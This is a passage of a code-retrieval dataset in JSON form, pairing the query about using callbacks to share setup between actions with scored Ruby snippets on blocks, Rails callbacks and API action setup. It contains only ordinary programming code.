"text": "def connect_basic_blocks(blocks); end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "3abcf397d44d426cd1a1c04f580f817c",
"score": "0.6802057",
"text": "def block; end",
"title": ""
},
{
"docid": "fc7c69e40a66ec8b135ee5c4f7f1ca7d",
"score": "0.67873937",
"text": "def block_node; end",
"title": ""
},
{
"docid": "fc7c69e40a66ec8b135ee5c4f7f1ca7d",
"score": "0.67873937",
"text": "def block_node; end",
"title": ""
},
{
"docid": "fc7c69e40a66ec8b135ee5c4f7f1ca7d",
"score": "0.67873937",
"text": "def block_node; end",
"title": ""
},
{
"docid": "fc7c69e40a66ec8b135ee5c4f7f1ca7d",
"score": "0.67873937",
"text": "def block_node; end",
"title": ""
},
{
"docid": "79effa949c55f5d993d3bdb4312073cc",
"score": "0.6718729",
"text": "def <<(block)\n @blocks << block\n end",
"title": ""
},
{
"docid": "c1b3c3d5bd4ba7141895afaee35e2fda",
"score": "0.67052937",
"text": "def add_block(name=\"\")\n @raw.basic_blocks.append(name)\n end",
"title": ""
},
{
"docid": "d462a7f90b37899d93ccafba15fc8252",
"score": "0.66901356",
"text": "def new\n user, key = Blockspring::CLI::Auth.get_credentials\n language = @args[0]\n name = @args[1]\n\n return error('You must specify a language') unless language\n return error('You must specify a name for your block') unless name\n\n begin\n\n block = get_template(language)\n\n block['config']['title'] = name\n\n dir_name = create_block_directory(block)\n if dir_name\n save_block_files(block, dir_name, 'Creating')\n end\n rescue RestClient::ResourceNotFound => msg\n error(\"The language '#{language}' is not supported by Blockspring.\")\n rescue RestClient::Exception => msg\n error(msg.inspect)\n end\n end",
"title": ""
},
{
"docid": "9a72fa1c50be1dceb6a472b8c51294d5",
"score": "0.6688762",
"text": "def block_start; end",
"title": ""
},
{
"docid": "72bd181363a422c04deb556f56163c20",
"score": "0.66806287",
"text": "def create_block_temporary(args, body, callsite_block=nil)\n @temporary_counter += 1\n name = current_temporary('B-')\n if callsite_block\n new_proc = LaserProc.new(args, body, @graph, callsite_block)\n else\n new_proc = LaserProc.new(args, body)\n end\n binding = Bindings::BlockBinding.new(name, nil)\n add_instruction(:assign, binding, new_proc)\n [binding, new_proc]\n end",
"title": ""
},
{
"docid": "aaea2496a88e0c2fbda72bc13d1c93b2",
"score": "0.66768026",
"text": "def define_block(name, &block)\n @blocks[name.to_sym] = block\n nil\n end",
"title": ""
},
{
"docid": "481f3c6b2ece6f1e88b4a020caaa6a83",
"score": "0.66766006",
"text": "def list(name)\n if @blocks.key?(name)\n @blocks[name]\n else\n [ContentBlock.new(content: \"Create block <strong>#{name}</strong>\")]\n end\n end",
"title": ""
},
{
"docid": "5cfa8e0104ffc8f49437c05e86440f7e",
"score": "0.6665044",
"text": "def b(name, &block)\n #ret = ErrorReturn.new(\"b\")\n \n name = name.id2name.camelize\n open_tag = \"{block:#{name}}\"\n close_tag = \"{/block:#{name}}\"\n if SAMPLE_DATA\n open_tag = \"<!-- #{open_tag} -->\"\n close_tag = \"<!-- #{close_tag} -->\"\n end\n \n if block_given?\n haml_concat open_tag\n tab_up\n block.call\n tab_down\n haml_concat close_tag\n else\n raise Error.now(\"The block method isn't very useful without a block...\")\n end\nend",
"title": ""
},
{
"docid": "dc27ee5eae810a9c7ec980d80a2c5b75",
"score": "0.66326773",
"text": "def add_make_block(res,level)\n res << \" \" * level*3\n res << Low2C.make_name(self) << \"();\\n\"\n end",
"title": ""
},
{
"docid": "5dd4261acf120f2f3c3664ef37f2ba8e",
"score": "0.66160125",
"text": "def block\n\t\tdeclaration_nodes = declarations\n\t\tcompound_statement_node = compound_statement\n\t\tBlock.new(declaration_nodes, compound_statement_node)\n\tend",
"title": ""
},
{
"docid": "733ab38b92ca69b65ae58709a281d2f3",
"score": "0.6572197",
"text": "def makeBlocks(days, startTimeString, endTimeString, info)\n\tblocks = []\n\tdays.split(\"\").each do |d|\n\t\tb = Block.new(d, startTimeString, endTimeString, info)\n\t\tblocks << b\n\tend\n\t(blocks)\nend",
"title": ""
},
{
"docid": "eb4698bf22ad5c5e1bc0780fc0e805f7",
"score": "0.6562549",
"text": "def add_block(mode = nil, name = :\"\", &ruby_block)\n # Creates the block.\n block = High.make_block(mode,name,&ruby_block)\n # Adds it as a statement.\n self.add_statement(block)\n # Use its return value.\n return block.return_value\n end",
"title": ""
},
{
"docid": "c828e0c3dcbc3f3d2a3a80b57fd63bb5",
"score": "0.65407634",
"text": "def add_make_block(res,level)\n if self.respond_to?(:each_node) then\n self.each_node do |node|\n if node.respond_to?(:add_blocks_code) then\n node.add_make_block(res,level)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "b3ce2a09aacc3e92551cd4d62c856d45",
"score": "0.6505667",
"text": "def build_blocks\n new_blocks = []\n self.blocks.each do |block|\n actor = spawn :block\n actor.x = block[0] * BLOCK_SIZE + self.x\n actor.y = block[1] * BLOCK_SIZE + self.y\n actor.grid_offset_x = block[0]\n actor.grid_offset_y = block[1]\n actor.image = self.image\n\n new_blocks << actor\n end\n\n # Destroy ourselves, leaving only the blocks behind\n remove_self\n\n new_blocks\n end",
"title": ""
},
{
"docid": "3b8215fe01b3fe8c128680420876dac4",
"score": "0.6505535",
"text": "def starts_block(block_state); end",
"title": ""
},
{
"docid": "9fb95b45f2495ab4fa6b26baf59f0cbe",
"score": "0.6503844",
"text": "def BEGINBlock(lbrace, statements); end",
"title": ""
},
{
"docid": "059c97c7b4d22d59736a64c5c84a82ab",
"score": "0.6500235",
"text": "def define_block(name, &block)\n blocks[name.to_sym] = block\n nil\n end",
"title": ""
},
{
"docid": "5b16cc69ccd3cd7ec8a7424e44366841",
"score": "0.6492455",
"text": "def create_block(name, rooms, check_in, check_out, price_night)\n rooms.each do |room|\n unless availability(check_in, check_out).include?(room)\n raise ArgumentError.new(\"These rooms are not available as a block\")\n end\n end\n new_block = Block.new(name, rooms, check_in, check_out, price_night)\n @blocks << new_block\n return new_block\n end",
"title": ""
},
{
"docid": "e54e7187b1fd0fdabbef80a5dfa57ad1",
"score": "0.6469603",
"text": "def visit_block(node); end",
"title": ""
},
{
"docid": "b5ed1e6de274ca245aa84100b4f53d51",
"score": "0.6448244",
"text": "def register_block_for(type, &blk); end",
"title": ""
},
{
"docid": "0c95626a15b6181c9cc2927544a9fdae",
"score": "0.64211977",
"text": "def build_block(data, prev_hash = hash)\n Block.new(data, prev_hash)\n end",
"title": ""
},
{
"docid": "0c95626a15b6181c9cc2927544a9fdae",
"score": "0.64211977",
"text": "def build_block(data, prev_hash = hash)\n Block.new(data, prev_hash)\n end",
"title": ""
},
{
"docid": "f6e679094702d2d0d4985253d903b6d7",
"score": "0.64152354",
"text": "def custom(&block); end",
"title": ""
},
{
"docid": "f9359081ac127cea893dbfdad9a5c3b0",
"score": "0.6415117",
"text": "def create_block_blob(container, blob, content, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "47f07045dae852c2e9eac7f0de93efb6",
"score": "0.64148235",
"text": "def create_block(block_name, date_range, rooms, discounted_room_rate)\n available_room_list = available_rooms(date_range)\n rooms.each do |room|\n if !available_room_list.include?(room)\n raise ArgumentError.new(\"room not available\")\n end\n end\n @list_of_blocks << Block.new(block_name, date_range, rooms, discounted_room_rate)\n end",
"title": ""
},
{
"docid": "2263e4c1c2a4cbc3c0cbffcb33264d89",
"score": "0.64141446",
"text": "def add_make_block(res,level)\n self.statement.add_make_block(res,level)\n end",
"title": ""
},
{
"docid": "69b41480532c849d645ac21b6dadb2c9",
"score": "0.6411583",
"text": "def make_template\n populate_template\n close_open_block_commands\n end",
"title": ""
},
{
"docid": "1836a347f3f3c745930e50117b39d4d6",
"score": "0.6407878",
"text": "def block_code(code, language)\n \"```#{language}\\n#{code.strip}\\n```\" + NEW_BLOCK\n end",
"title": ""
},
{
"docid": "873899991e6f7dd245c0ed8e5fcae1f6",
"score": "0.64045644",
"text": "def block(name = '<Dynamic Ruby block>', &proc)\n build_commands << BuildCommand.new(name, &proc)\n end",
"title": ""
},
{
"docid": "6dcc5b5757a815bda868c3791485169e",
"score": "0.64043844",
"text": "def add_block(name, &block)\n @rawjsonrpc_blocks ||= {}\n @rawjsonrpc_funcs ||= {}\n @rawjsonrpc_blocks[name] = block\n end",
"title": ""
},
{
"docid": "bd68f006e74cf2c91d5e6a319641e9a3",
"score": "0.63909006",
"text": "def begin_block\n\t\t@block = []\n\t\tself\n\tend",
"title": ""
},
{
"docid": "9245ab31e78d9f5af74b9ff88667d7a9",
"score": "0.6386765",
"text": "def block(name = \"<Dynamic Ruby block>\", &proc)\n build_commands << BuildCommand.new(name, &proc)\n end",
"title": ""
},
{
"docid": "fbef6b71d55f2c9c45d60aa5f7ed13b3",
"score": "0.6375116",
"text": "def block\n @block\n end",
"title": ""
},
{
"docid": "6ca289db8ea67dc68b66731cac573dac",
"score": "0.6372816",
"text": "def _block_create\n @block = Block.find params[:block_id]\n\n # Author\n authorize! :edit, @block.project\n\n @selected_group = BlockRealEstateGroup.find params[:group_id]\n @re = RealEstate.new\n\n render json: { status: 0, result: render_to_string(partial: 'real_estates/block_create') }\n end",
"title": ""
},
{
"docid": "065277eda2a9b5c5f32e620865680b86",
"score": "0.6362425",
"text": "def test_new (&calling_the_block)\n\t3.times do (calling_the_block.call) end\nend",
"title": ""
},
{
"docid": "eafd09169da44269937db221b894c746",
"score": "0.63504165",
"text": "def block_style_external_command(factory, cmd)\n factory.programbox() {\n text \"Running #{cmd} block style\"\n command cmd\n height 15\n width 30\n }\nend",
"title": ""
},
{
"docid": "55073f66de570a4afeefdc8ebd42a6bd",
"score": "0.6345822",
"text": "def add_block\n\t\tyield if block_given?\n\n block = self.last_block.create_next( *self.current_transactions )\n\n self.current_transactions.clear\n self.chain.push( block )\n\n\t\tself.log.debug \"Added block %p with hash %p\" % [ block.index, block.previous_hash ]\n return block\n\tend",
"title": ""
},
{
"docid": "029bc48675a2a10db527bab04e0afc16",
"score": "0.63453406",
"text": "def create_arbitrary(code:, &block); end",
"title": ""
},
{
"docid": "086a5fd2417a6945d9639e4bc5e1476f",
"score": "0.63355625",
"text": "def build_block_container(*args, &block)\n options = args.extract_options!\n name = args.first ? args.shift : self.anonymous_block_name\n block_container = BuildingBlocks::Container.new\n block_container.name = name.to_sym\n block_container.options = options\n block_container.block = block\n block_container\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2
|
Use callbacks to share common setup or constraints between actions.
|
[
{
"docid": "abcb81977324eff8fada51eaa65a633a",
"score": "0.0",
"text": "def set_graphic\n @graphic = Graphic.find(params[:id])\n end",
"title": ""
}
] |
[
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60339177",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60135007",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.59219855",
"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.589884",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5889191",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.58780754",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5863248",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.58094144",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57375425",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57285565",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.57149214",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.56900954",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.56665677",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.5651118",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648135",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.56357735",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5627078",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.5608873",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5598699",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.5598419",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.5589822",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.55084664",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.5504379",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.5465574",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5464707",
"text": "def on_setup(&block); end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54471064",
"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455084",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.5437386",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.54160327",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.5397424",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5392518",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5385411",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "118932433a8cfef23bb8a921745d6d37",
"score": "0.53487605",
"text": "def register_action(action); end",
"title": ""
},
{
"docid": "725216eb875e8fa116cd55eac7917421",
"score": "0.5346655",
"text": "def setup\n @controller.setup\n end",
"title": ""
},
{
"docid": "39c39d6fe940796aadbeaef0ce1c360b",
"score": "0.53448105",
"text": "def setup_phase; end",
"title": ""
},
{
"docid": "bd03e961c8be41f20d057972c496018c",
"score": "0.5342072",
"text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end",
"title": ""
},
{
"docid": "c6352e6eaf17cda8c9d2763f0fbfd99d",
"score": "0.5341318",
"text": "def initial_action=(_arg0); end",
"title": ""
},
{
"docid": "207a668c9bce9906f5ec79b75b4d8ad7",
"score": "0.53243506",
"text": "def before_setup\n\n end",
"title": ""
},
{
"docid": "669ee5153c4dc8ee81ff32c4cefdd088",
"score": "0.53025913",
"text": "def ensure_before_and_after; end",
"title": ""
},
{
"docid": "c77ece7b01773fb7f9f9c0f1e8c70332",
"score": "0.5283114",
"text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end",
"title": ""
},
{
"docid": "1e1e48767a7ac23eb33df770784fec61",
"score": "0.5282289",
"text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "4ad1208a9b6d80ab0dd5dccf8157af63",
"score": "0.52585614",
"text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end",
"title": ""
},
{
"docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7",
"score": "0.52571374",
"text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "fc88422a7a885bac1df28883547362a7",
"score": "0.52483684",
"text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end",
"title": ""
},
{
"docid": "8945e9135e140a6ae6db8d7c3490a645",
"score": "0.5244467",
"text": "def action_awareness\n if action_aware?\n if [email protected]?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.52385926",
"text": "def action; end",
"title": ""
},
{
"docid": "7b3954deb2995cf68646c7333c15087b",
"score": "0.5236853",
"text": "def after_setup\n end",
"title": ""
},
{
"docid": "1dddf3ac307b09142d0ad9ebc9c4dba9",
"score": "0.52330637",
"text": "def external_action\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "5772d1543808c2752c186db7ce2c2ad5",
"score": "0.52300817",
"text": "def actions(state:)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "64a6d16e05dd7087024d5170f58dfeae",
"score": "0.522413",
"text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend",
"title": ""
},
{
